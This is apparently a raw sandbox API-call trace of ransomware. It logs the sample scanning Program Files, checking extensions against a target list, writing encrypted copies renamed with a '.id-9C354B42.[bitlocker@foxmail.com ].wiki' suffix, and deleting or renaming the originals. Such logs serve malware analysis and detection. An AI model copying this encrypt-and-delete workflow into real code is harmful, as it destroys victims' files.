lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.221] lstrlenW (lpString=".zip") returned 4 [0064.221] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.221] lstrlenW (lpString=".rar") returned 4 [0064.222] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.222] lstrlenW (lpString=".bz2") returned 4 [0064.222] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.222] lstrlenW (lpString=".7z") returned 3 [0064.222] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.222] lstrlenW (lpString=".dbf") returned 4 [0064.222] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.222] lstrlenW (lpString=".1cd") returned 4 [0064.222] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0064.222] lstrlenW (lpString=".jpg") returned 4 [0064.222] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.222] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.222] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0064.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.553] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=8704) returned 1 [0064.553] CloseHandle (hObject=0x1fc) returned 1 [0064.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0064.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.553] lstrlenW (lpString=".doc") returned 4 [0064.553] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.553] lstrlenW (lpString=".docx") returned 5 [0064.553] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0064.553] lstrlenW (lpString=".pdf") returned 4 [0064.553] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.553] lstrlenW (lpString=".xls") returned 4 [0064.553] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.553] lstrlenW (lpString=".xlsx") returned 5 [0064.553] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0064.553] lstrlenW (lpString=".ppt") returned 4 [0064.553] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.553] lstrlenW (lpString=".zip") returned 4 [0064.553] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.553] lstrlenW (lpString=".rar") returned 4 [0064.553] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.553] lstrlenW (lpString=".bz2") returned 4 [0064.553] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.554] lstrlenW (lpString=".7z") returned 3 [0064.554] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.554] lstrlenW (lpString=".dbf") returned 4 [0064.554] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.554] lstrlenW (lpString=".1cd") returned 4 [0064.554] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.554] lstrlenW (lpString=".jpg") returned 4 [0064.554] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.554] lstrlenW (lpString=".doc") returned 4 [0064.554] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.554] lstrlenW (lpString=".docx") returned 5 [0064.554] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0064.554] lstrlenW (lpString=".pdf") returned 4 [0064.554] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.554] lstrlenW (lpString=".xls") returned 4 [0064.554] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.554] lstrlenW (lpString=".xlsx") returned 5 [0064.554] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0064.554] lstrlenW (lpString=".ppt") returned 4 [0064.554] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.554] lstrlenW (lpString=".zip") returned 4 [0064.554] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.554] lstrlenW (lpString=".rar") returned 4 [0064.554] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.555] lstrlenW (lpString=".bz2") returned 4 [0064.555] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.555] lstrlenW (lpString=".7z") returned 3 [0064.555] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.555] lstrlenW (lpString=".dbf") returned 4 [0064.555] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.555] lstrlenW (lpString=".1cd") returned 4 [0064.555] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0064.555] lstrlenW (lpString=".jpg") returned 4 [0064.555] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.555] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0064.555] lstrlenW (lpString="ShapeCollector.exe") returned 18 [0064.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.204] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=695296) returned 1 [0065.205] CloseHandle (hObject=0x218) returned 1 [0065.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0065.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0065.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0065.987] lstrlenW (lpString=".doc") returned 4 [0065.987] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0065.987] lstrlenW (lpString=".docx") returned 5 [0065.987] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0065.987] lstrlenW (lpString=".pdf") returned 4 [0065.987] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0065.987] lstrlenW (lpString=".xls") returned 4 [0065.987] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0065.987] lstrlenW (lpString=".xlsx") returned 5 [0065.987] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0065.987] lstrlenW (lpString=".ppt") returned 4 [0065.987] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0065.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0065.987] lstrlenW (lpString=".zip") returned 4 [0065.987] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0065.987] lstrlenW (lpString=".rar") returned 4 [0065.988] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0065.988] lstrlenW (lpString=".bz2") returned 4 [0065.988] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0065.988] lstrlenW (lpString=".7z") returned 3 [0065.988] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0065.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0065.988] lstrlenW (lpString=".dbf") returned 4 [0065.988] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0065.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0065.998] lstrlenW (lpString=".1cd") returned 4 [0065.998] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0065.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0065.999] lstrlenW (lpString=".jpg") returned 4 [0065.999] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0065.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0065.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0065.999] lstrlenW (lpString=".doc") returned 4 [0065.999] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0065.999] lstrlenW (lpString=".docx") returned 5 [0065.999] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0065.999] lstrlenW (lpString=".pdf") returned 4 [0065.999] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0065.999] lstrlenW (lpString=".xls") returned 4 [0065.999] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0065.999] lstrlenW (lpString=".xlsx") returned 5 [0065.999] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0065.999] lstrlenW (lpString=".ppt") returned 4 [0065.999] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0065.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0065.999] lstrlenW (lpString=".zip") returned 4 [0065.999] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0065.999] lstrlenW (lpString=".rar") returned 4 [0065.999] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0065.999] lstrlenW (lpString=".bz2") returned 4 [0065.999] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0065.999] lstrlenW (lpString=".7z") returned 3 [0065.999] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0065.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0065.999] lstrlenW (lpString=".dbf") returned 4 [0065.999] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0065.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0065.999] lstrlenW (lpString=".1cd") returned 4 [0066.007] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0066.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0066.008] lstrlenW (lpString=".jpg") returned 4 [0066.008] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0066.008] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0066.008] lstrlenW (lpString="ALRTINTL.DLL") returned 12 [0066.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0066.008] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=154448) returned 1 [0066.008] CloseHandle (hObject=0x228) returned 1 [0066.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0066.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0066.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0066.009] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.009] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0066.009] GetLastError () returned 0x0 [0066.009] ReadFile (in: hFile=0x228, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x25b50, lpOverlapped=0x0) returned 1 [0066.013] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x25b60, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x25b60, lpOverlapped=0x0) returned 1 [0066.016] ReadFile (in: hFile=0x228, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0066.016] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.016] SetEndOfFile (hFile=0x1dc) returned 1 [0066.016] CloseHandle (hObject=0x1dc) returned 1 [0066.016] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.016] SetEndOfFile (hFile=0x228) returned 1 [0066.017] CloseHandle (hObject=0x228) returned 1 [0066.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0066.018] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 1 [0066.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.018] lstrlenW (lpString=".doc") returned 4 [0066.018] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0066.018] lstrlenW (lpString=".docx") returned 5 [0066.018] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0066.018] lstrlenW (lpString=".pdf") returned 4 [0066.018] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0066.018] lstrlenW (lpString=".xls") returned 4 [0066.018] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0066.018] lstrlenW (lpString=".xlsx") returned 5 [0066.018] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0066.018] lstrlenW (lpString=".ppt") returned 4 [0066.018] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0066.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.018] lstrlenW (lpString=".zip") returned 4 [0066.018] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0066.018] lstrlenW (lpString=".rar") returned 4 [0066.018] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0066.018] lstrlenW (lpString=".bz2") returned 4 [0066.018] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0066.018] lstrlenW (lpString=".7z") returned 3 [0066.018] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0066.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.019] lstrlenW (lpString=".dbf") returned 4 [0066.019] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0066.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.019] lstrlenW (lpString=".1cd") returned 4 [0066.019] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0066.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.019] lstrlenW (lpString=".jpg") returned 4 [0066.019] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0066.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.019] lstrlenW (lpString=".doc") returned 4 [0066.019] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0066.019] lstrlenW (lpString=".docx") returned 5 [0066.019] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0066.019] lstrlenW (lpString=".pdf") returned 4 [0066.019] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0066.019] lstrlenW (lpString=".xls") returned 4 [0066.019] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0066.019] lstrlenW (lpString=".xlsx") returned 5 [0066.019] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0066.019] lstrlenW (lpString=".ppt") returned 4 [0066.019] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0066.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.019] lstrlenW (lpString=".zip") returned 4 [0066.019] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0066.019] lstrlenW (lpString=".rar") returned 4 [0066.019] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0066.019] lstrlenW (lpString=".bz2") returned 4 [0066.019] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0066.019] lstrlenW (lpString=".7z") returned 3 [0066.019] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0066.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.019] lstrlenW (lpString=".dbf") returned 4 [0066.019] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0066.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.019] lstrlenW (lpString=".1cd") returned 4 [0066.020] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0066.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0066.020] lstrlenW (lpString=".jpg") returned 4 [0066.020] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0066.020] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0066.020] lstrlenW (lpString="MSOINTL.DLL") returned 11 [0066.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0066.021] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2528128) returned 1 [0066.021] CloseHandle (hObject=0x228) returned 1 [0066.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0066.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0066.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0066.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0066.022] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0066.022] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0066.022] ReadFile (in: hFile=0x228, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ec0058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.039] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0066.039] ReadFile (in: hFile=0x228, lpBuffer=0x3f00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f00058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.422] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0066.422] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0066.422] ReadFile (hFile=0x228, lpBuffer=0x3f40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0) Thread: id = 21 os_tid = 0xacc [0042.875] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a106c0 [0042.875] lstrlenW (lpString="C:") returned 2 [0042.875] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x350fd00 | out: lpFindFileData=0x350fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, 